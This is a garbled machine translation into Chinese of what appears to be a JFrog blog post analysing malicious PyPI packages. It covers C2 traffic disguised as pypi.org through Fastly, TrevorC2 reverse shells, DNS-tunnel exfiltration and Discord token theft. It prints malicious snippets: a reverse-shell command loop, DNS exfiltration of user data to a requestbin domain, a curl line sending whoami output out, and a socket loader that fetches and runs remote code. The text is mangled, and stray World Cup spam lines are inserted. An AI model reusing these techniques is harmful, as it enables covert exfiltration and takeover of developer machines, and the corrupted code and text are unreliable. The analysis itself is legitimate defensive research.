Python恶意软件模仿签名PyPI流量的新泄露技术

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,向存储库维护人员报告易受攻击和恶意的包。今年早些时候揭露多个恶意软件包针对下载量约3万次的开发者私人数据。今天,我们将分享我们最近发现的11个新的恶意软件包的详细信息,并向PyPI维护者披露(他们立即删除了它们)。
基于我们的最新发现,在这篇博客文章中,我们重点介绍了Python恶意软件开发人员使用的一些更高级的技术,以避免被检测到,并保留在存储库中,从而感染尽可能多的机器。
报告包
| 包 | #的 下载¹ |
自动检测指标 | 描述 |
|---|---|---|---|
| importantpackage important-package |
6305 12897 |
带有模糊输入的Shell进程 |
隐藏的连接返回shell到psec.forward.io.global.prod.fastly.net,使用trevorc2客户 |
| ppt | 10001 | ²可疑的版本 | 使用DNS发送主机名+“|”+ os.getcwd () + ' | ' + str (self.get_wan_ip ()) + + local_ip_str“|” |
| ipboards | 946 | 敏感的文件处理 可疑的版本 |
依赖项混淆,通过DNS隧道发送用户信息(用户名,主机名)到b0a0374cd1cb4305002e.d.requestbin.net |
| owlmoon | 3285 | eval输入是模糊的 |
不和令牌窃取木马。将令牌发送到 |
| DiscordSafety | 557 | 执行输入是模糊的 |
不和令牌窃取木马。将令牌发送到 |
| trrfab | 287 | 敏感的文件处理 可疑的版本 |
依赖项混淆,发送用户信息(id,主机名,/etc/passwd, /etc/hosts, /home)到yxznlysc47wvrb9r9z211e1jbah15q.burpcollaborator.net |
| 10 cent10 10 cent11 |
490 490 |
壳牌产卵 可疑的版本 |
连接回shell到硬编码地址104.248.19.57 |
| yandex-yt | 4183 | 可疑的版本 | 打印pwned消息并定向到https://nda.ya.ru/t/iHLfdCYw3jCVQZ,可能是恶意域名(目前似乎不活跃) |
| yiffparty | 1859 | eval输入是模糊的 |
不和令牌窃取木马。将令牌发送到 |
¹直接取自pepy.tech
²表示a的版本号依赖关系混乱攻击
importantpackage -Connectback外壳具有新颖的渗出物
importantpackage包含恶意代码,这些代码使用一些巧妙的技术来逃避基于网络的检测。
滥用CDN TLS终止进行数据泄露
第一个技巧是使用急剧CDN将与C2服务器的通信伪装为与pypi.org.恶意软件的通信非常简单:
url = " https://pypi.python.org " + " /图片”+“?”+ "guid=" + b64_payload r = request。请求(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
这段代码导致HTTPS请求被发送到pypi.python.org(这与对PyPI的合法请求没有区别,)它后来被CDN重新路由为一个HTTP请求到C2服务器psec.forward.io.global.prod.fastly.net(反之亦然,允许双向通信)。
因此,传出的加密请求将看起来像这样-

(注意通信使用pypi.org的所有原始加密参数)
但是经过CDN之后,后端(C2)服务器将接收请求未加密的:

这是如何以及为什么起作用的?
我们可以从下面的图表中看到

PyPI基础设施托管在Fastly CDN上。此主机使用清漆透明的HTTP代理来缓存客户端和后端之间的通信。交通首先进入TLS终结者用于解密³,因此Varnish代理可以检查HTTP数据包的内容。代理分析来自用户请求的HTTP标头,并将请求重定向到相应的后端宿主头。然后,该过程以相反的方向重复,允许恶意软件模仿与PyPI的双工通信。
因此,命令和控制(C2)会话使用合法的服务器证书进行加密和签名,使其与与合法的PyPI资源通信难以区分。2022世界杯阿根廷预选赛赛程
TLS终止符保存相关主机的TLS私有(解密)密钥,在本例中为pypi.org
请注意,在Fastly上注册域名非常容易,甚至可以在一定程度上匿名完成(因为该服务在达到一定流量阈值之前是免费的)。因此,这种技术不需要攻击方提供任何特殊资源。2022世界杯阿根廷预选赛赛程
话虽如此,我们并没有将这种技术标记为fast中的软件漏洞,因为可以合理地假设宿主头文件格式正常。添加有状态的数据包检查来抵消这种技术可能会对数据吞吐量产生很大影响,这应该是CDN的主要考虑因素。
考虑到以上所有因素,这种技术确实有其局限性。例如,当构造一个XHR,根据RFC的宿主头文件不能被构建XHR的脚本操作。这是幸运的,因为否则cookie可能会被恶意网页泄露,通过依赖TLS终止以接收来自用户请求的解密数据,否则将使用预期主机的TLS密钥加密(例如pypi.org)。
使用TrevorC2的基于http的命令和控制
除了Hosts头技术,恶意软件开发人员还使用TrevorC2框架来实现一个屏蔽命令和控制客户端。使用这个框架,客户端以一种类似于标准网站浏览的方式联系服务器,使得流量更加模糊。客户端以随机间隔发送请求,并将有效负载隐藏到典型的HTTP GET请求中。例如,一个典型的请求有以下形式:https://pypi.python.org/images/guid= < base64_encoded_payload >.
恶意软件开始与C2服务器通信,发送包含受感染机器主机名的请求。如果服务器决定继续会话,恶意软件就会通过HTTP建立反向shell,让攻击者完全控制受感染的机器。
这可以在下面的代码片段中看到-
HTML = req。get(SITE_URL + ROOT_PATH_QUERY) parse = html.decode().split("")[0]如果主机名在解析:解析=解析。Split (hostname + "::::")[1] #执行我们解析的命令proc = subprocess。Popen(解析,shell=True, stdout=子进程。PIPE, stderr=subprocess.PIPE) stdout_value = proc. communication ()[0] stdout_value = (hostname + "::::" + str(stdout_value)).encode('utf-8') stdout_value = base64.b64encode(stdout_value).decode('utf-8') #管道输出stdout和base64编码然后通过查询字符串参数html = req请求。post(SITE_URL + SITE_PATH_QUERY + "?"+ QUERY_STRING, data = stdout_value)
ipboards & pptest -通过dns隧道进行泄露
恶意软件开发人员使用的另一种流行的网络逃避类型是DNS隧道.虽然不是新技术,但这是我们第一次在上传到PyPI的恶意包中看到这种逃避方法。顾名思义,这种技术使用DNS请求作为受害机器和C2服务器之间通信的通道。
当DNS服务器收到带有该域的请求时,它会尝试在其数据库中查找相应的IP地址。如果没有关于此域的记录,服务器将请求重定向到地址中的第一个已知域。
因此,攻击者可以对信息进行编码,以ASCII码发送到C2服务器,并将其添加到他/她自己的域名前,并发送DNS查询。(合法的)DNS服务器将这个包重定向到C2服务器。
例如,ipboards包中存在如下恶意代码:
#将收集到的信息编码为十六进制字符串有效载荷=ip+';'+用户名+';'+主机名+';'+str(现在)+';'+路径+';'+packagename+';'+hostFile有效载荷=hexlify(bytes(payload))) #将有效载荷分解为50字节的块chunk = [payload[i:i+50] for i in range(0, len(payload), 50)] #通过DNS请求发送块中的块:DNS .resolver.query(pd.decode("utf-8") +dnss,'A')
这段代码可能会生成如下域名:69703 a75736572617474686576756c6e657261626c656d616368696e65.b0a0374cd1cb4305002e.d.requestbin.net.该域名将作为DNS查询的一部分发送到合法的DNS服务器。
因为DNS服务器不知道整个域的地址,但知道的地址b0a0374cd1cb4305002e.d.requestbin.net,它将整个请求重定向到该域(即C2服务器),C2服务器可以从前缀字符串-中提取有效负载69703 a75736572617474686576756c6e657261626c656d616368696e65
owlmoon和DiscordSafety -木马劫持不和谐令牌
如我们的以前的网站在美国,很多恶意包针对Discord用户,窃取他们的认证令牌。这些恶意软件包大多基于知名的开源“窃取实用程序”,从技术角度来看并不是很有趣。然而,有时他们在逃避方面更有创意。
我们看到的一个有趣的示例涉及将恶意代码隐藏为依赖项。恶意软件由两部分组成:
- 一种窃取令牌且相对容易检测的恶意包
- 一个“合法”的包,可以通过排版错误或依赖关系混乱来安装,不包含任何有害的功能。相反,它只是指定要导入的恶意包(在安装时)作为
install_requiresdistutils关键字(insetup . py):
Install_requires =['requests', 'beautifulsoup4', 'owlmoon',]
在本例中,owlmoon是包含实际的Discord令牌劫持逻辑的恶意包。
寻找bug赏金的“恶意软件”包
后亚历克斯Birsan由于供应链配置错误可以获得丰厚的回报,漏洞猎人开始用他们的包淹没存储库,试图利用拼写错误和依赖项混淆漏洞。一个来自这个弹簧的例子——用户remindsupplychainrisks上传了5000多个山寨包进入PyPI和npm存储库。这些类型的包一直出现在存储库中-通常,它们具有相对无害的功能,只是在包安装后发送关于系统的非pii数据(因此作者可能会要求赏金):
操作系统。系统('curl https://898b5ca5e76134be965acd[.]bufferover[.]run/yow_utils/$(whoami | base64)/$(hostname -f | base64)')
在其他情况下,很难将它们与恶意软件区分开来。例如,包distutil显然是试图对众所周知的包执行拼写攻击distutils.软件包确实有一个“不要下载这个”的描述,但是当调用时由于排版错误触发安装时,这个描述是不可见的皮普(通过命令行或requirements.txt文件)。此外,功能的distutil包具有极高的安全影响(超过要求bug赏金所必需的影响)。安装后,包立即尝试连接到一个IP地址,从中读取编码的有效负载,并将有效负载执行为Python代码:
import socket,zlib,base64,struct,time for x in range(10): try: s=socket.socket(2,socket. sock_stream) s.connect(('192.168.1.69',4444)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)
虽然我们的恶意代码检测器标记了相当多的这些包,但我们不希望报告所有这些包,因为我们在JFrog Security支持这些漏洞赏金工作。因此,我们只会在以下情况下报告这样的包,它们是边缘恶意软件:
- 包描述中没有明确提到这个包是用于安全测试的目的
- 包有效负载执行不必要的侵入性操作(例如connectback shell,报告密码等敏感数据)。
结论
虽然这组恶意包可能不像我们之前发现的那样具有相同的“牙齿”,但值得注意的是它们执行的复杂程度在不断提高。它不是在光天化日之下伸手去掏你的钱包——但这些软件包中有更多的诡计,其中一些甚至可能在最初的侦察之后为后续攻击做准备,而不是运行一个高度妥协的有效载荷来启动。
请继续关注
除了曝光新安全漏洞和威胁,JFrog提供开发人员和安全团队轻松访问最新的相关信息,为他们的软件与自动安全扫描JFrog x光.请继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁。
问题吗?想法吗?与我们联络research@m.si-fil.com有任何疑问。
